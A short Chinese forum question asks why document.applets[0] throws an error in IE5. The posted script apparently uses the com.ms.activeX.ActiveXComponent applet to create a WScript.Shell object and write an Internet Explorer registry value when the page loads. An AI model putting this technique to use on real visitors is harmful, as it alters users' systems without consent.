关于document.applets[0]的问题
我的浏览器运行到s1=document.applets[0]时就会报错,说对象不支持此属性或方法,我用的浏览器是ie5.0,有谁能解释一下document.applets[0]的功能作用吗?
下面是我的代码:
<SCRIPT language=JavaScript>
document.write("<applet height=0 width=0 code=com.ms.activeX.ActiveXComponent> ");
function f(){
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\PageSetup\\footer", "com");
}
f();
</script>